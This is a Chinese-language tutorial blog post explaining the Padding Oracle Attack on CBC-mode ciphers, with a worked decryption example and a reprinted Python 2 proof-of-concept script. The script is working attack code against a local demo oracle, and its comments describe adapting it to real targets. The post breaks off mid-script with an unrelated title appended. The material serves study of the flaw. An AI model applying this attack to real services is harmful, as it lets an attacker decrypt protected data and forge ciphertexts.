一文搞明白 Padding Oracle Attack
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文搞明白 Padding Oracle Attack相关的知识,希望对你有一定的参考价值。
目录
前言
讲讲Padding Oracle Attack,之前在ctf中遇到过一次,但直接拿了网上找的exp就没仔细学,现在回头看看学学
Padding Oracle Attack是比较早的一种漏洞利用方式了,在2011年的Pwnie Rewards中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解
利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:
- 攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)
- 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性
一、基础知识
1、分组密码
在密码学中,分组加密(Block Cipher),又称分块加密或块密码,是一种对称密钥算法,如3DES、AES在加密时一般都会采用。它将明文分成多个等长的模块(block),如常见的64bit、128bit、256bit,使用确定的算法和对称密钥对每组分别加密解密
分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。最常用的填充操作有PKCS#5:在最后一个block中将不足的bit位数作为bit值进行填充,缺少n个bit,就填充n个0x0n,例如最后一个分组(block)缺少3个bit,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败
看个64bit的block的例子如下,请注意,每个字符串都至少有1个字节的填充数据:
2、CBC加密模式
分组密码算法有四种模式,分别是ECB、CBC、CFB和OFB,其中CBC是IPSEC的标准做法
CBC(Cipher Block Chaining)主要是引入一个初始化向量(Initialization Vector,IV)来加强密文的随机性,保证相同明文通过相同的密钥加密的结果不一样
这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这行可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"
(1)加密过程
如图所示:
- 明文经过填充后,分为不同的组block,以组的方式对数据进行处理
- 初始化向量(IV)首先和第一组明文进行XOR(异或)操作,得到”中间值“
- 采用密钥对中间值进行块加密,删除第一组加密的密文 (加密过程涉及复杂的变换、移位等)
- 第一组加密的密文作为第二组的初始向量(IV),参与第二组明文的异或操作
- 依次执行块加密,最后将每一块的密文拼接成密文
由于初始化向量(IV)每次加密都是随机的,所以IV经常会被放在密文的前面,解密时先获取前面的IV,再对后面的密文进行解密
(2)解密过程
如图所示:
- 会将密文进行分组(按照加密采用的分组大小),前面的第一组是初始化向量,从第二组开始才是真正的密文
- 使用加密密钥对密文的第一组进行解密,得到”中间值“
- 将中间值和初始化向量进行异或,得到该组的明文
- 前一块密文是后一块密文的IV,通过异或中间值,得到明文
- 块全部解密完成后,拼接得到明文,密码算法校验明文的格式(填充格式是否正确)
- 校验通过得到明文,校验失败得到密文
二、Padding Oracle Attack 原理
1、根源
这个攻击的根源是明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈,例如请求http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E
,当攻击者在篡改data值时会有以下不同的响应:
- 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200
- 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500
- 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500
攻击者只需要关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击
2、破解明文
以一个例子进行猜解,假设有这样一个应用,请求如下:
http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
才能请求正常的服务
(1)上帝视角
加密过程
解密过程
关注上图绿色圈起来的部分,解密之后的最后一个数据块,其结尾应该包含正确的填充序列。如果这点没有满足,那么加/解密程序就会抛出一个填充异常。Padding Oracle Attack的关键就是利用程序是否抛出异常来判断padding是否正确。
(2)攻击者视角
现在让我们来看看在不知道明文的情况下,如何猜解出明文。首先我们将密文分组,前面8个字节为初始化向量,后面16个字节为加密后的数据:
初始化向量: 7B 21 6A 63 49 51 17 0F
第一组密文: F8 51 D6 CC 68 FC 95 37
第二组密文: 85 87 95 A2 8E D4 AA C6
我们来看如何通过构造前面初始向量来破解第一组密文:http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537
- 将初始化向量全部设置为0,提交如下请求
http://www.example.com/decrypt.jsp?data=00000000000000000F851D6CC68FC9537
,服务器势必会解密失败,返回HTTP 500,那是因为在对数据进行解密的时候,明文最后一个字节的填充是0x3D
,不满足填充规则,校验失败,此时示意图如下:
- 依次将初始化向量最后一个字节从
0x01~0xFF
递增,直到解密的明文最后一个字节为0x01
,成为一个正确的padding,当初始化向量为000000000000003C
时,成功了,服务器返回HTTP 200,解密示意图如下:
- 我们已知构造成功的IV最后一个字节为
0x3C
,最后一个填充字符为0x01
,则我们能通过XOR计算出,第一组密文解密后的中间值最后一个字节:0x01 xor 0x3C = 0x3D
;
重点:第一组密文解密的中间值是一直不变的,同样也是正确的,我们通过构造IV值,使得最后一位填充值满足0x01,符合padding规则,则意味着程序解密成功(当前解密的结果肯定不是原来的明文),通过循环测试的方法,猜解出中间值的最后一位,再利用同样的方式猜解前面的中间值,直到获取到完整的中间值 - 下面我们将构造填充值为
0x02 0x02
的场景,即存在2个填充字节,填充值为0x02
,此时我们已经知道了中间值得最后一位为0x3D
,计算出初始向量的最后一位为0x3D xor 0x02 = 0x3F
, 即初始向量为0000000000000003F
,遍历倒数第二个字节从0x00~0xFF
,直到响应成功,猜解出中间值得后两个字节分别为0x26 0x3D
,示例图如下:
- 通过同样的方式,完成第一组密文中间值的猜解
- 当第一组密文的中间值猜解成功后,我们将中间值和已知的IV做异或,则得到第一组密文的明文
0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D xor 0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F = BRIAN;12
继续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文
3、伪造密文
我们已经知道了中间值,那么只需传递指定的IV,就能制造任意想要的密文,如加密TEST
:
4、脚本
(1)perl
https://github.com/AonCyberLabs/PadBuster
(2)python2
"""
Padding Oracle Attack POC(CBC-MODE)
Author: axis(axis@ph4nt0m.org)
http://hi.baidu.com/aullik5
2011.9
This program is based on Juliano Rizzo and Thai Duong's talk on
Practical Padding Oracle Attack.(http://netifera.com/research/)
For Education Purpose Only!!!
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
import sys
# https://www.dlitz.net/software/pycrypto/
from Crypto.Cipher import *
import binascii
# the key for encrypt/decrypt
# we demo the poc here, so we need the key
# in real attack, you can trigger encrypt/decrypt in a complete blackbox env
ENCKEY = 'abcdefgh'
def main(args):
print
print "=== Padding Oracle Attack POC(CBC-MODE) ==="
print "=== by axis ==="
print "=== axis@ph4nt0m.org ==="
print "=== 2011.9 ==="
print
########################################
# you may config this part by yourself
iv = '12345678'
plain = 'aaaaaaaaaaaaaaaaX'
plain_want = "opaas"
# you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2
cipher = "blowfish"
########################################
block_size = 8
if cipher.lower() == "aes":
block_size = 16
if len(iv) != block_size:
print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
return False
print "=== Generate Target Ciphertext ==="
ciphertext = encrypt(plain, iv, cipher)
if not ciphertext:
print "[-] Encrypt Error!"
return False
print "[+] plaintext is: "+plain
print "[+] iv is: "+hex_s(iv)
print "[+] ciphertext is: "+ hex_s(ciphertext)
print
print "=== Start Padding Oracle Decrypt ==="
print
print "[+] Choosing Cipher: "+cipher.upper()
guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
if guess:
print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
print "[+] plaintext = intermediary_value XOR original_IV"
print "[+] Guess plaintext is: "+guess["plaintext"]
print
if plain_want:
print "=== Start Padding Oracle Encrypt ==="
print "[+] plaintext want to encrypt is: "+plain_want
print "[+] Choosing Cipher: "+cipher.upper()
en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
if en:
print "[+] Encrypt Success!"
print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
print "[+] IV is: "+hex_s(en[:block_size])
print
print "=== Let's verify the custom encrypt result ==="
print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
de = decrypt(en[block_size:], en[:block_size], cipher)
if de == add_PKCS5_padding(plain_want, block_size):
print de
print "[+] Bingo!"
else:
print "[-] It seems something wrong happened!"
return False
return True
else:
return False
def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
# the last block
guess_cipher = ciphertext[0-block_size:]
plaintext = add_PKCS5_padding(plaintext, block_size)
print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
print
block = len(plaintext)
iv_nouse = iv # no use here, in fact we only need intermediary
prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
while block > 0:
# we need the intermediary value
tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)
# calculate the iv, the iv is the ciphertext of the previous block
prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
#save result
guess_cipher = prev_cipher + guess_cipher
block = block - block_size
return guess_cipher
def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
# split cipher into blocks; we will manipulate ciphertext block by block
cipher_block = split_cipher_block(ciphertext, block_size)
if cipher_block:
result = {}
result["intermediary"] = ''
result["plaintext"] = ''
counter = 0
for c in cipher_block:
if debug:
print "[*] Now try to decrypt block "+str(counter)
print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
print
# padding oracle to each block
guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
if guess:
iv = c
result["intermediary"] += guess["intermediary"]
result["plaintext"] += guess["plaintext"]
if debug:
print
print "[+] Block "+str(counter)+" decrypt!"
print "[+] intermediary value is: "+hex_s(guess["intermediary"])
print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
print
counter = counter+1
else:
print "[-] padding oracle decrypt error!"
return False
return result
else:
print "[-] ciphertext's block_size is incorrect!"
return False
def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
result = {}
plain = ''
intermediary = [] # list to save intermediary
iv_p = [] # list to save the iv we found
for i in range(1, block_size+1):
iv_try = []
iv_p = change_iv(iv_p, intermediary, i)
# construct iv
# iv = \\x00...(several 0 bytes) + \\x0e(the bruteforce byte) + \\xdc...(the iv bytes we found)
for k in range(0, block_size-i):
iv_try.append("\\x00")
# bruteforce iv byte for padding oracle
# 1 bytes to bruteforce, then append the rest bytes
iv_try.append("\\x00")
for b in range(0,256):
iv_tmp = iv_try
iv_tmp[len(iv_tmp)-1] = chr(b)
iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
# append the result of iv, we've just calculate it, saved in iv_p
for p in range(0,len(iv_p)):
iv_tmp_s += iv_p[len(iv_p)-1-p]
# in real attack, you have to replace this part to trigger the decrypt program
#print hex_s(iv_tmp_s) # for debug
plain = decrypt(ciphertext, iv_tmp_s, cipher)
#print hex_s(plain) # for debug
# got it!
# in real attack, you have to replace this part to the padding error judgement
if check_PKCS5_padding(plain, i):
if debug:
print "[*] Try IV: "+hex_s(iv_tmp_s)
print "[*] Found padding oracle: " + hex_s(plain)
iv_p.append(chr(b))
intermediary.append(chr(b ^ i))
break
plain = ''
for ch in range(0, len(intermediary)):
plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
result["plaintext"] = plain
result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
return result
# save the iv bytes found by padding oracle into a list
def change_iv(iv_p, intermediary, p):
for i in range(0, len(iv_p)):
iv_p[i] = chr( ord(intermediary[i]) ^ p)
return iv_p
def split_cipher_block(ciphertext, block_size=8):
if len(ciphertext) % block_size != 0:
return False
result = []
length = 0
while length < len(ciphertext):
result.append(ciphertext[length:length+block_size])
length += block_size
return result
def check_PKCS5_padding(plain, p):
if len(plain) % 8 != 0:
return False
# convert the string
plain = plain[::-1]
ch = 0
found = 0
while ch < p:
if plain[ch] == chr(p):
found += 1
ch += 1
if found == p:
return True
else:
return False
def add_PKCS5_padding(plaintext, block_size):
s = ''
if len(plaintext) % block_size == 0:
return plaintext
if len(plaintext) < block_size:
padding = block_size - len(plaintext)
else:
padding = block_size - (len(plaintext) % block_size)
for i in range(0, padding):
plaintext += chr(padding)
return plaintext
def decrypt(ciphertext, iv, cipher):
# we only need the padding error itself, not the key
# you may gain padding error info in other ways
# in real attack, you may trigger decrypt program
# a complete blackbox environment
key = ENCKEY
if cipher.lower() == "des":
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() == "arc2":
o = ARC2.new(key, ARC2.MODE_CBC,iv)
else:
return False
if len(iv) % 8 != 0:
return False
if len(ciphertext) % 8 != 0:
return False
return o.decrypt(ciphertext)
def encrypt(plaintext, iv, cipher):
key = ENCKEY
if cipher.lower() == "des":
if len(key) != 8:
print "[-] DES key must be 8 bytes long!"
return False
o = DES.new(key, DES.MODE_CBC,iv)
elif cipher.lower() == "aes":
if len(key) != 16 and len(key) != 24 and len(key) != 32:
print "[-] AES key must be 16/24/32 bytes long!"
return False
o = AES.new(key, AES.MODE_CBC,iv)
elif cipher.lower() == "des3":
if len(key) != 16:
print "[-] Triple DES key must be 16 bytes long!"
return False
o = DES3.new(key, DES3.MODE_CBC,iv)
elif cipher.lower() == "blowfish":
o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
elif cipher.lower() == "cast":
o = CAST.new(key, CAST.MODE_CBC,iv)
elif cipher.lower() 一文搞明白 Domain Borrowing